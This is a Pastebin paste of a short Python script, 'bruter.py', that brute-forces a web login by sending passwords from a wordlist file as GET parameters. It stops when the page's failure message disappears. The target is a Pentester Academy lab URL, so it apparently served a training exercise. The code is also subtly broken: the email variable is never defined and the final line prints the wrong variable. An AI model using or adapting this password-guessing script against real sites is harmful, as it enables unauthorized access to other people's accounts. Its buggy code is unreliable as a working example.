n0va_sa

Http-GET-Bruteforce [bruter.py]

Jun 10th, 2017
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.60 KB | None | 0 0
  1. import re
  2. import urllib.request
  3.  
  4. url = "http://pentesteracademylab.appspot.com/lab/webapp/1?email=%s&password=%s"
  5.  
  6. correct_pass = ''
  7. with open('pass.txt') as fin:
  8.     for line in fin:
  9.         password = line
  10.         print("Trying with :" + password + "\n\n")
  11.         query = url%(email,password)
  12.         data = urllib.request.urlopen(query).read()
  13.         data = data.decode("utf-8")
  14.         search_result = re.search('<div align="center"> <p><b>Failed! Please try again!<b/></p></div><br/>',data)
  15.         if search_result == None:
  16.             correct_pass = password
  17.             break
  18.  
  19. print("passphrase = " + password)
Add Comment
Please, Sign In to add comment